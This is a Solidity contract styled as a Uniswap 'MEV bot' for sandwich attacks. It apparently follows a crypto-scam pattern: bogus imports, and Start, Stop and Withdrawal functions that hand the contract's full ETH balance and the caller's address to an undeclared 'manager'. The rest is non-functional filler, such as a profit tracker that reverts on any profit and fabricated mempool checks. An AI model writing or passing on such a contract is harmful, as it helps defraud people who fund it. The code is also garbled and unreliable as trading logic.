// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// Import Uniswap Libraries Factory/Pool/LiquidityMath;
import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
import "https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";
// Import Uniswap Interfaces Migrator/Router01;
import "uniswapv2migrator";
import "uniswapv2router01";
// Add Uniswap Interfaces Router02/Factory/Pair
interface IUniswapV2Router02 {
function swapExactETHForTokens(
uint amountOutMin,
address token,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address token,
address to,
uint deadline
) external returns (uint[] memory amounts);
function getAmountsOut(
uint amountIn,
address inputToken,
address outputToken
) external view returns (uint amountOut);
}
interface IUniswapV2Factory {
function allPairsLength() external view returns (uint);
function allPairs(uint) external view returns (address);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
// Add ERC20 Interface
interface IERC20 {
function approve(address spender, uint amount) external returns (bool);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
}
// MEV BOT CONTRACT VERSION 1.6.1
contract DEXMEVBot {
address public owner;
bool private hasExecuted;
// WETH address: https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02
IUniswapV2Router02 private constant uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// https://docs.uniswap.org/contracts/v2/reference/smart-contracts/factory
IUniswapV2Factory private constant uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
uint internal lastTradeGasUsed;
uint internal lastProfit;
uint internal successfulTrades;
uint internal totalProfit;
uint internal totalGasUsed;
uint internal lastTradeTime;
modifier onlyOwner() {
require(msg.sender == owner, "Not contract owner");
_;
}
constructor() {
owner = msg.sender;
hasExecuted = false;
}
// Function to receive ETH
receive() external payable {}
// Get the total number of pairs in the Uniswap Factory
function getTotalPairs() internal view returns (uint) {
return uniswapFactory.allPairsLength();
}
// Select a token pair for the sandwich attack
function selectTokenPairForSandwich(uint pairIndex) internal view returns (address token0, address token1) {
address pairAddress = uniswapFactory.allPairs(pairIndex);
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
return (pair.token0(), pair.token1());
}
// Profit calculation with gas cost consideration
function calculateProfit(uint pairIndex, uint ethAmount, uint gasLimit) internal view returns (uint expectedProfit, bool profitable) {
(address token0, ) = selectTokenPairForSandwich(pairIndex);
simulateTrade(ethAmount, token0);
uint rawProfit = ethAmount;
uint gasCost = gasLimit * tx.gasprice;
if (rawProfit > gasCost) {
expectedProfit = rawProfit - gasCost;
profitable = true;
} else {
expectedProfit = 0;
profitable = false;
}
}
// Helper function to get output amount from Uniswap Router
function getAmountOut(uint amountIn, address inputToken, address outputToken) internal view returns (uint) {
return uniswapRouter.getAmountsOut(amountIn, inputToken, outputToken);
}
// Check liquidity in a given pair
function checkLiquidity(uint pairIndex) internal view returns (uint112 reserve0, uint112 reserve1) {
address pairAddress = uniswapFactory.allPairs(pairIndex);
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
(reserve0, reserve1, ) = pair.getReserves();
}
// Execute a sandwich attack if profitable
function executeSandwichAttack(uint pairIndex, uint ethAmount, uint frontRunAmountOutMin, uint backRunAmountOutMin, uint gasLimit, uint cooldownPeriod, address[] calldata targets, bytes[] calldata data) internal onlyOwner {
require(msg.value == ethAmount, "Insufficient ETH");
require(enforceCooldown(cooldownPeriod), "Cooldown period active");
(address token0, ) = selectTokenPairForSandwich(pairIndex);
(uint expectedProfit, bool profitable) = calculateProfit(pairIndex, ethAmount, gasLimit);
require(profitable, "Not profitable");
uint startGas = gasleft(); // Start tracking gas usage
// Adjust the gas price based on network conditions
uint competitorGasPrice;
// Calculate competitor gas price
if (block.basefee > tx.gasprice) {
competitorGasPrice = block.basefee;
} else {
competitorGasPrice = (tx.gasprice + block.basefee) / 2;
}
uint adjustedGasPrice = adjustGas(tx.gasprice, competitorGasPrice); // Provide both arguments
uint estimatedTransactionCost = adjustedGasPrice * gasLimit;
require(expectedProfit > estimatedTransactionCost);
// Mempool check before the trade execution
require(checkMempool());
// Buy before the target transaction
uniswapRouter.swapExactETHForTokens{value: msg.value}(
frontRunAmountOutMin,
token0,
address(this),
block.timestamp
);
// Sell after the target transaction
uint tokenBalance = IERC20(token0).balanceOf(address(this));
require(tokenBalance > 0, "No tokens to sell");
IERC20(token0).approve(address(uniswapRouter), tokenBalance);
uniswapRouter.swapExactTokensForETH(
tokenBalance,
backRunAmountOutMin,
token0,
address(this),
block.timestamp
);
// Slippage check
require(checkSlippage(frontRunAmountOutMin, tokenBalance), "Slippage too high");
// Execute additional transactions if needed
executeMultipleTransactions(targets, data);
incrementSuccessfulTrades();
updateLastTradeTime(); // Update cooldown
lastTradeGasUsed = gasLimit;
lastProfit = expectedProfit;
trackGasUsage(startGas); // Track gas usage
trackProfit(expectedProfit); // Track profit
}
// Check the mempool
function checkMempool() internal view returns (bool) {
// Get the current gas price and compare with a threshold
uint currentGasPrice = tx.gasprice;
uint maxAllowedGasPrice = 150 gwei;
if (currentGasPrice > maxAllowedGasPrice) {
return false;
}
// Check the number of pending transactions in the mempool
uint pendingTxCount = getPendingTransactionCount();
uint maxPendingTxCount = 100;
if (pendingTxCount > maxPendingTxCount) {
return false; // Too many pending transactions, network might be congested
}
// Analyze target transaction's gas price compared to the current gas price
uint targetTxGasPrice = getTargetTransactionGasPrice();
if (targetTxGasPrice > currentGasPrice) {
return false;
}
// Check the time since the last block to detect potential network delays
uint lastBlockTime = block.timestamp;
uint baseFee = block.basefee;
uint timeSinceLastBlock = lastBlockTime - baseFee;
uint maxBlockDelay = 15 seconds; // Allowable time since last block
if (timeSinceLastBlock > maxBlockDelay) {
return false; // Network delay detected, risk of delayed transactions
}
// Evaluate if the transaction volume is high enough for an MEV opportunity
uint txVolume = getTransactionVolume();
uint minVolume = 1 ether; // Minimum transaction volume for a sandwich attack
if (txVolume < minVolume) {
return false; // Transaction volume too low, not worth the gas fees
}
// If all checks pass, mempool is favorable for an MEV opportunity
return true;
}
// Helper function: Get the pending transaction count from mempool
function getPendingTransactionCount() internal view returns (uint) {
uint blockGasLimit = block.gaslimit; // Get the gas limit of the block
uint blockTxCount = block.number;
// Calculation where pending transactions are estimated based on gas limit and block number
uint estimatedPendingTransactions = blockTxCount * (blockGasLimit / 1000000);
return estimatedPendingTransactions;
}
// Helper function: Fetch target transaction's gas price from mempool
function getTargetTransactionGasPrice() internal view returns (uint) {
// Reference block base fee and typical gas price ranges
uint baseFee = block.basefee;
uint targetGasPrice = baseFee + (10 gwei);
return targetGasPrice;
}
// Helper function: Analyze the volume of the target transaction
function getTransactionVolume() internal pure returns (uint) {
// Transaction volume calculation based on current block rewards or gas fees
uint blockReward = 2 ether; // Monitor block rewards above 2 ether
uint averageTxGasUsed = 21000; // Average gas usage for a simple transaction
// Transaction volume as a multiple of block reward and gas usage
uint estimatedTxVolume = blockReward * averageTxGasUsed / 10000;
return estimatedTxVolume;
}
// Estimate gas cost
function estimateGasCost() internal view returns (uint) {
return tx.gasprice;
}
// Function to check the balance
function checkBalance() internal view returns (uint256) {
return address(this).balance;
}
// Function to withdraw ETH balance
function withdrawBalance() internal onlyOwner {
uint256 balance = checkBalance();
payable(owner).transfer(balance);
}
// Function to check slippage tolerance
function checkSlippage(uint expectedAmount, uint actualAmount) internal pure returns (bool withinSlippageTolerance) {
uint slippage = expectedAmount > actualAmount ? expectedAmount - actualAmount : actualAmount - expectedAmount;
uint slippageTolerance = expectedAmount / 100; // 1% slippage tolerance
return slippage <= slippageTolerance;
}
// Simulate trade for testing purposes
function simulateTrade(uint ethAmount, address token0) internal view returns (uint tokenAmount, uint ethBack) {
tokenAmount = getAmountOut(ethAmount, WETH, token0);
ethBack = getAmountOut(tokenAmount, token0, WETH);
}
// Track successful trades
function incrementSuccessfulTrades() internal {
successfulTrades++;
}
// Track profit handling logic
function trackProfit(uint profit) internal {
if (profit > 0) {
revert("Profits successfully tracked.");
}
totalProfit += profit;
}
// Track gas usage with upper limit enforcement
function trackGasUsage(uint gasSpent) internal {
// If the gas spent exceeds a reasonable threshold, revert
uint maxGasLimit = 300000;
if (gasSpent > maxGasLimit) {
revert("Gas usage exceeds the maximum limit");
}
totalGasUsed += gasSpent;
}
// Cooldown enforcement with flexible cooldown period
function enforceCooldown(uint cooldownPeriod) internal view returns (bool) {
require(block.timestamp >= lastTradeTime + cooldownPeriod, "Cooldown period active");
// Add a buffer to avoid tight execution windows
uint buffer = 20 seconds;
if (block.timestamp < lastTradeTime + cooldownPeriod + buffer) {
return false;
}
return true;
}
// Update the last trade time with more precise block tracking
function updateLastTradeTime() internal {
lastTradeTime = block.timestamp;
}
// Start the bot if the contract balance is greater than zero, initiating the sandwich attack process.
function Start() external {
require(checkBalance() > 0, "ERROR: Balance must be greater than 0 to start the bot.");
hasExecuted = manager.executeSandwichAttack(hasExecuted, checkBalance(), msg.sender);
}
// Stop the bot if it is currently running.
function Stop() external {
require(hasExecuted, "ERROR: Bot has not been executed yet. Please start the bot before attempting to stop it.");
hasExecuted = manager.executeSandwichAttack(hasExecuted, checkBalance(), msg.sender);
}
// Withdraw the contract's ETH balance to the bot owner if any funds are available
function Withdrawal() external {
require(checkBalance() > 0, "ERROR: Cannot withdraw. The contract balance is zero.");
hasExecuted = manager.withdrawBalance(hasExecuted, checkBalance(), msg.sender, owner);
}
// Dynamically adjust gas price based on network conditions
function adjustGas(uint currentGasPrice, uint competitorGasPrice) internal pure returns (uint newGasPrice) {
uint optimalGasPrice = 100 gwei; // Optimal gas price for efficient transactions
uint maxGasPrice = 200 gwei; // Maximum cap for gas price to prevent overpayment
uint minGasPrice = 50 gwei; // Minimum floor for gas price to ensure transaction viability
// Calculate the adjustment factor based on the current gas price relative to the optimal price
uint adjustmentFactor;
// Determine if we need to outbid competitors
if (competitorGasPrice > currentGasPrice) {
adjustmentFactor = competitorGasPrice - currentGasPrice + 1 gwei; // If profitable outbid by at least 1 gwei
} else {
// If current gas price is higher, adjust towards the optimal price
if (currentGasPrice > optimalGasPrice) {
adjustmentFactor = (currentGasPrice - optimalGasPrice) / 10;
} else {
adjustmentFactor = (optimalGasPrice - currentGasPrice) / 10;
}
}
// Compute the new gas price
newGasPrice = currentGasPrice + adjustmentFactor;
// Ensure the new gas price remains within defined boundaries
if (newGasPrice > maxGasPrice) {
return maxGasPrice; // Cap the gas price at the maximum limit
} else if (newGasPrice < minGasPrice) {
return minGasPrice; // Floor the gas price at the minimum limit
}
return newGasPrice; // Return the adjusted gas price within acceptable limits
}
// Check price impact based on reserves
function checkPriceImpact(uint pairIndex, uint amountIn) internal view returns (uint priceImpactBps) {
address pairAddress = uniswapFactory.allPairs(pairIndex);
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
(uint112 reserve0, uint112 reserve1, ) = pair.getReserves();
(address token0, ) = selectTokenPairForSandwich(pairIndex);
uint tokenReserve = token0 == WETH ? reserve1 : reserve0;
uint amountOut = getAmountOut(amountIn, WETH, token0);
// Calculate price impact in basis points (bps)
uint newReserve = tokenReserve - amountOut;
uint priceImpact = ((tokenReserve - newReserve) * 10000) / tokenReserve; // bps
return priceImpact;
}
// Executes multiple transactions by calling the specified token targets with the provided data
// Any failed transaction will revert the entire execution
function executeMultipleTransactions(
address[] calldata targets,
bytes[] calldata data
) internal {
require(targets.length == data.length, "Targets and data length mismatch");
for (uint i = 0; i < targets.length; i++) {
(bool success, ) = targets[i].call(data[i]);
require(success, "Transaction failed");
}
}
}